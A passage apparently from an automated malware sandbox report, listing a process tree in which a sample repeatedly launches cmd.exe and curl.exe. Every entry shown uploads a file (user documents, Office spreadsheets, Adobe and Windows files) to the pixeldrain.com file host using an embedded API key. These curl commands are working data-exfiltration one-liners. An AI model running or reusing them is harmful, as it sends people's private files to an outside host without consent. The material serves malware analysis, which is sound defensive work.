    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-plug_ins-Annotations-Stamps-ENU-StandardBusiness.pdf-07-11-2026--13.52.43.pdf
    3⤵
    PID:4020
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\HomeBanner_Dark.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-on-boarding-images-themeless-HomeBanner_Dark.pdf-07-11-2026--13.52.49.pdf
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\HomeBanner_Dark.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-on-boarding-images-themeless-HomeBanner_Dark.pdf-07-11-2026--13.52.49.pdf
    3⤵
    PID:812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\HomeBanner_Light.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-on-boarding-images-themeless-HomeBanner_Light.pdf-07-11-2026--13.52.54.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4252
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\HomeBanner_Light.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-on-boarding-images-themeless-HomeBanner_Light.pdf-07-11-2026--13.52.54.pdf
    3⤵
    PID:3424
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\MobileAcrobatCard_Dark.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-on-boarding-images-themeless-MobileAcrobatCard_Dark.pdf-07-11-2026--13.53.00.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4628
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\MobileAcrobatCard_Dark.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-on-boarding-images-themeless-MobileAcrobatCard_Dark.pdf-07-11-2026--13.53.00.pdf
    3⤵
    PID:2348
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\MobileAcrobatCard_Light.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-on-boarding-images-themeless-MobileAcrobatCard_Light.pdf-07-11-2026--13.53.06.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\MobileAcrobatCard_Light.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-on-boarding-images-themeless-MobileAcrobatCard_Light.pdf-07-11-2026--13.53.06.pdf
    3⤵
    PID:1904
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\MobileScanCard_Dark.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-on-boarding-images-themeless-MobileScanCard_Dark.pdf-07-11-2026--13.53.12.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3968
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\MobileScanCard_Dark.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-on-boarding-images-themeless-MobileScanCard_Dark.pdf-07-11-2026--13.53.12.pdf
    3⤵
    PID:5244
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\MobileScanCard_Light.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-on-boarding-images-themeless-MobileScanCard_Light.pdf-07-11-2026--13.53.17.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\MobileScanCard_Light.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-on-boarding-images-themeless-MobileScanCard_Light.pdf-07-11-2026--13.53.17.pdf
    3⤵
    PID:436
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Acrobat Pro DC.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-sample-files-assets-Sample Files-Adobe Acrobat Pro DC.pdf-07-11-2026--13.53.23.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Acrobat Pro DC.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-sample-files-assets-Sample Files-Adobe Acrobat Pro DC.pdf-07-11-2026--13.53.23.pdf
    3⤵
    PID:3204
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Cloud Services.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-sample-files-assets-Sample Files-Adobe Cloud Services.pdf-07-11-2026--13.53.37.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Cloud Services.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-sample-files-assets-Sample Files-Adobe Cloud Services.pdf-07-11-2026--13.53.37.pdf
    3⤵
    PID:5556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Sign White Paper.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-sample-files-assets-Sample Files-Adobe Sign White Paper.pdf-07-11-2026--13.53.49.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Sign White Paper.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-sample-files-assets-Sample Files-Adobe Sign White Paper.pdf-07-11-2026--13.53.49.pdf
    3⤵
    PID:4884
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Bus Schedule.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-sample-files-assets-Sample Files-Bus Schedule.pdf-07-11-2026--13.54.03.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Bus Schedule.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-sample-files-assets-Sample Files-Bus Schedule.pdf-07-11-2026--13.54.03.pdf
    3⤵
    PID:5916
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Complex Machine.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-sample-files-assets-Sample Files-Complex Machine.pdf-07-11-2026--13.54.12.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6064
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Complex Machine.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-WebResources-Resource0-static-js-plugins-sample-files-assets-Sample Files-Complex Machine.pdf-07-11-2026--13.54.12.pdf
    3⤵
    PID:2368
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Desktop\PingExpand.docx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Desktop-PingExpand.docx-07-11-2026--13.54.24.docx
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:5636
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Desktop\PingExpand.docx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Desktop-PingExpand.docx-07-11-2026--13.54.24.docx
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Desktop\SyncInstall.docx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Desktop-SyncInstall.docx-07-11-2026--13.54.24.docx
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3964
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Desktop\SyncInstall.docx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Desktop-SyncInstall.docx-07-11-2026--13.54.24.docx
    3⤵
    PID:2652
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Documents\RedoPublish.docx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Documents-RedoPublish.docx-07-11-2026--13.54.25.docx
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3720
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Documents\RedoPublish.docx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Documents-RedoPublish.docx-07-11-2026--13.54.25.docx
    3⤵
    PID:2612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Documents\SendLock.docx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Documents-SendLock.docx-07-11-2026--13.54.25.docx
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Documents\SendLock.docx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Documents-SendLock.docx-07-11-2026--13.54.25.docx
    3⤵
    PID:5532
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Documents\SkipSuspend.docx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Documents-SkipSuspend.docx-07-11-2026--13.54.25.docx
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4016
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Documents\SkipSuspend.docx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Documents-SkipSuspend.docx-07-11-2026--13.54.25.docx
    3⤵
    PID:5712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Documents\UninstallDisconnect.docx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Documents-UninstallDisconnect.docx-07-11-2026--13.54.26.docx
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5404
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Documents\UninstallDisconnect.docx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Documents-UninstallDisconnect.docx-07-11-2026--13.54.26.docx
    3⤵
    PID:3540
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\MSDRM\MsoIrmProtector.xls" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-MSDRM-MsoIrmProtector.xls-07-11-2026--13.54.28.xls
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5580
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\MSDRM\MsoIrmProtector.xls" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-MSDRM-MsoIrmProtector.xls-07-11-2026--13.54.28.xls
    3⤵
    PID:5496
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\MSDRM\MsoIrmProtector.xls" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-MSDRM-MsoIrmProtector.xls-07-11-2026--13.54.29.xls
  2⤵
  PID:3464
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\MSDRM\MsoIrmProtector.xls" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-MSDRM-MsoIrmProtector.xls-07-11-2026--13.54.29.xls
    3⤵
    PID:5768
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.26100.1150_none_a9b280b0a5669e69\MsoIrmProtector.xls" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.26100.1150_none_a9b280b0a5669e69-MsoIrmProtector.xls-07-11-2026--13.54.29.xls
  2⤵
  PID:4552
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.26100.1150_none_a9b280b0a5669e69\MsoIrmProtector.xls" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.26100.1150_none_a9b280b0a5669e69-MsoIrmProtector.xls-07-11-2026--13.54.29.xls
    3⤵
    PID:5412
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\wow64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.26100.1_none_151382ec926a1266\MsoIrmProtector.xls" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-wow64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.26100.1_none_151382ec926a1266-MsoIrmProtector.xls-07-11-2026--13.54.30.xls
  2⤵
  PID:3872
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\wow64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.26100.1_none_151382ec926a1266\MsoIrmProtector.xls" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-wow64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.26100.1_none_151382ec926a1266-MsoIrmProtector.xls-07-11-2026--13.54.30.xls
    3⤵
    PID:6128
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLN.XLS" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Microsoft Office-root-Office16-1033-PROTTPLN.XLS-07-11-2026--13.54.30.XLS
  2⤵
  PID:4612
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLN.XLS" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Microsoft Office-root-Office16-1033-PROTTPLN.XLS-07-11-2026--13.54.30.XLS
    3⤵
    PID:3656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLV.XLS" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Microsoft Office-root-Office16-1033-PROTTPLV.XLS-07-11-2026--13.54.33.XLS
  2⤵
  PID:1148
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLV.XLS" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Microsoft Office-root-Office16-1033-PROTTPLV.XLS-07-11-2026--13.54.33.XLS
    3⤵
    PID:1348
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Microsoft Office\root\Office16\SAMPLES\SOLVSAMP.XLS" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Microsoft Office-root-Office16-SAMPLES-SOLVSAMP.XLS-07-11-2026--13.54.36.XLS
  2⤵
  PID:3308
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Microsoft Office\root\Office16\SAMPLES\SOLVSAMP.XLS" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Microsoft Office-root-Office16-SAMPLES-SOLVSAMP.XLS-07-11-2026--13.54.36.XLS
    3⤵
    PID:5688
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\IdentityCRL\WLive48x48.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-IdentityCRL-WLive48x48.png-07-11-2026--13.54.41.png
  2⤵
  PID:1204
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\IdentityCRL\WLive48x48.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-IdentityCRL-WLive48x48.png-07-11-2026--13.54.41.png
    3⤵
    PID:3632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\@AppHelpToast.png" https://pixeldrain.com/api/file/JGATYMDT-C:[email protected]
  2⤵
  PID:2348
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\@AppHelpToast.png" https://pixeldrain.com/api/file/JGATYMDT-C:[email protected]
    3⤵
    PID:4304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\@AudioToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:[email protected]
  2⤵
  PID:3116
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\@AudioToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:[email protected]
    3⤵
    PID:2700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\@EnrollmentToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-@EnrollmentToastIcon.png-07-11-2026--13.54.42.png
  2⤵
  PID:1696
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\@EnrollmentToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-@EnrollmentToastIcon.png-07-11-2026--13.54.42.png
    3⤵
    PID:2080
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\@VpnToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:[email protected]
  2⤵
  PID:4732
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\@VpnToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:[email protected]
    3⤵
    PID:1448
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\@WirelessDisplayToast.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-@WirelessDisplayToast.png-07-11-2026--13.54.43.png
  2⤵
  PID:4820
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\@WirelessDisplayToast.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-@WirelessDisplayToast.png-07-11-2026--13.54.43.png
    3⤵
    PID:4248
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\DefaultAccountTile.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-DefaultAccountTile.png-07-11-2026--13.54.43.png
  2⤵
  PID:4000
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\DefaultAccountTile.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-DefaultAccountTile.png-07-11-2026--13.54.43.png
    3⤵
    - System Location Discovery: System Language Discovery
    PID:952
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\SecurityAndMaintenance.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-SecurityAndMaintenance.png-07-11-2026--13.54.43.png
  2⤵
  PID:4008
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\SecurityAndMaintenance.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-SecurityAndMaintenance.png-07-11-2026--13.54.43.png
    3⤵
    PID:3516
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\SecurityAndMaintenance_Alert.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-SecurityAndMaintenance_Alert.png-07-11-2026--13.54.44.png
  2⤵
  PID:5960
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\SecurityAndMaintenance_Alert.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-SecurityAndMaintenance_Alert.png-07-11-2026--13.54.44.png
    3⤵
    PID:5096
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\SecurityAndMaintenance_Error.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-SecurityAndMaintenance_Error.png-07-11-2026--13.54.44.png
  2⤵
  PID:5932
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\SecurityAndMaintenance_Error.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-SecurityAndMaintenance_Error.png-07-11-2026--13.54.44.png
    3⤵
    PID:5232
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SystemResources\@CameraToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SystemResources-@CameraToastIcon.png-07-11-2026--13.54.44.png
  2⤵
  PID:6120
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SystemResources\@CameraToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SystemResources-@CameraToastIcon.png-07-11-2026--13.54.44.png
    3⤵
    PID:2860
